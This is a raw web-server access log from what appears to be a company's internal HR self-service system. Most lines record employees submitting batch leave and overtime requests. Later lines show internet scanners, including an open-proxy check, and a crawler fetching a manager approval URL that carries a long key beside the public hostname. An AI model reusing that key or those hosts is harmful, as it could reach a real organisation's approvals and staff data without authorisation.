/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:19:02:28 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3584463097414413 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:02:28 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3584463097414413 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:19:02:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3584463097414413 HTTP/1.1" 200 18791 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3584463097414413" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:02:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3584463097414413 HTTP/1.1" 200 18791 192.168.12.46 - - [03/Dec/2025:19:03:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4211 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:03:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4211 192.168.12.46 - - [03/Dec/2025:19:04:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:04:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:19:04:24 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5820601941200539 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:04:24 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5820601941200539 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:19:04:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5820601941200539 HTTP/1.1" 200 18790 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5820601941200539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:04:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5820601941200539 HTTP/1.1" 200 18790 192.168.12.46 - - [03/Dec/2025:19:04:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:04:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 192.168.12.46 - - [03/Dec/2025:19:05:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:05:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:19:05:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7928238356427214 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:05:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7928238356427214 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:19:05:39 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7928238356427214 HTTP/1.1" 200 18788 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7928238356427214" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:05:39 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7928238356427214 HTTP/1.1" 200 18788 192.168.12.46 - - [03/Dec/2025:19:05:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:05:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 192.168.12.46 - - [03/Dec/2025:19:06:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:06:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:19:07:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2756760874023325 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:07:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2756760874023325 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:19:07:05 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2756760874023325 HTTP/1.1" 200 18788 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2756760874023325" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:07:05 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2756760874023325 HTTP/1.1" 200 18788 192.168.12.46 - - [03/Dec/2025:19:08:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4211 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:08:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4211 192.168.12.46 - - [03/Dec/2025:19:09:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:09:11 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:19:09:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39234001648189143 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:09:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39234001648189143 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:19:09:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39234001648189143 HTTP/1.1" 200 18791 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39234001648189143" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:09:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.39234001648189143 HTTP/1.1" 200 18791 192.168.12.46 - - [03/Dec/2025:19:09:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4210 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:09:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4210 192.168.12.46 - - [03/Dec/2025:19:10:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:10:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:19:10:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7102294862599953 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:10:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7102294862599953 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:19:10:53 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7102294862599953 HTTP/1.1" 200 18785 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7102294862599953" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:10:53 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7102294862599953 HTTP/1.1" 200 18785 192.168.12.46 - - [03/Dec/2025:19:11:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:11:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 192.168.12.46 - - [03/Dec/2025:19:11:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:11:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:19:11:47 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.712223082896548 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:11:47 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.712223082896548 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:19:11:51 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.712223082896548 HTTP/1.1" 200 18789 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.712223082896548" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:11:51 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.712223082896548 HTTP/1.1" 200 18789 192.168.12.46 - - [03/Dec/2025:19:11:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4212 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:11:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4212 192.168.12.46 - - [03/Dec/2025:19:12:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:12:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.12.46 - - [03/Dec/2025:19:12:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13134727713986705 HTTP/1.1" 200 16608 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:12:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13134727713986705 HTTP/1.1" 200 16608 192.168.12.46 - - [03/Dec/2025:19:12:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13134727713986705 HTTP/1.1" 200 18796 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13134727713986705" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:12:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.13134727713986705 HTTP/1.1" 200 18796 192.168.12.46 - - [03/Dec/2025:19:12:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.12.46 - - [03/Dec/2025:19:12:46 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 192.168.11.81 - - [03/Dec/2025:19:29:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [03/Dec/2025:19:29:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.81 - - [03/Dec/2025:19:29:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [03/Dec/2025:19:29:31 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.81 - - [03/Dec/2025:19:29:34 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [03/Dec/2025:19:29:34 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.81 - - [03/Dec/2025:19:29:35 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [03/Dec/2025:19:29:35 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.81 - - [03/Dec/2025:19:29:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [03/Dec/2025:19:29:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.81 - - [03/Dec/2025:19:29:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [03/Dec/2025:19:29:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.81 - - [03/Dec/2025:19:29:54 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.28392196717811824 HTTP/1.1" 200 8420 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [03/Dec/2025:19:29:54 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.28392196717811824 HTTP/1.1" 200 8420 192.168.11.81 - - [03/Dec/2025:19:29:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.28392196717811824 HTTP/1.1" 200 11837 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.28392196717811824" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [03/Dec/2025:19:29:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.28392196717811824 HTTP/1.1" 200 11837 192.168.11.81 - - [03/Dec/2025:19:30:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4260 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.11.81 - - [03/Dec/2025:19:30:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4260 100.64.0.1 - - [03/Dec/2025:20:16:59 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [03/Dec/2025:20:16:59 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [03/Dec/2025:20:16:59 +0800] "GET / HTTP/1.0" 200 439 "-" "-" 100.64.0.1 - - [03/Dec/2025:20:16:59 +0800] "GET / HTTP/1.0" 200 439 100.64.0.1 - - [03/Dec/2025:20:16:59 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36" 100.64.0.1 - - [03/Dec/2025:20:16:59 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:20:16:59 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "fasthttp" 100.64.0.1 - - [03/Dec/2025:20:16:59 +0800] "GET /favicon.ico HTTP/1.1" 404 209 100.64.0.1 - - [03/Dec/2025:20:41:36 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [03/Dec/2025:20:41:36 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:20:41:38 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 "-" "Go-http-client/1.1" 100.64.0.1 - - [03/Dec/2025:20:41:38 +0800] "GET http://azenv.net/ HTTP/1.1" 200 439 100.64.0.1 - - [03/Dec/2025:20:49:55 +0800] "MGLNDD_202.111.43.170_8088" 501 228 "-" "-" 100.64.0.1 - - [03/Dec/2025:20:49:55 +0800] "MGLNDD_202.111.43.170_8088" 501 228 100.64.0.1 - - [03/Dec/2025:21:22:51 +0800] "MGLNDD_222.92.19.198_8088" 501 227 "-" "-" 100.64.0.1 - - [03/Dec/2025:21:22:51 +0800] "MGLNDD_222.92.19.198_8088" 501 227 100.64.0.1 - - [03/Dec/2025:23:09:45 +0800] "GET /ehr/mgr/approve.php?key=CC5E5F46BA2AD759A390461D957AA6C6CAB205A36B565CEED4E850C7D0AE9567E91DBC1250B8A57E2FC686D07B2606EBCD1CA0D5B2DF069F923082EF4EBDA2A4 HTTP/1.1" 200 4199 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 - - [03/Dec/2025:23:09:45 +0800] "GET /ehr/mgr/approve.php?key=CC5E5F46BA2AD759A390461D957AA6C6CAB205A36B565CEED4E850C7D0AE9567E91DBC1250B8A57E2FC686D07B2606EBCD1CA0D5B2DF069F923082EF4EBDA2A4 HTTP/1.1" 200 4199 100.64.0.1 - - [03/Dec/2025:23:09:49 +0800] "GET /ehr/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://hcp.maglayers.com.cn:8088/ehr/mgr/approve.php?key=CC5E5F46BA2AD759A390461D957AA6C6CAB205A36B565CEED4E850C7D0AE9567E91DBC1250B8A57E2FC686D07B2606EBCD1CA0D5B2DF069F923082EF4EBDA2A4" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.7390.122 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 100.64.0.1 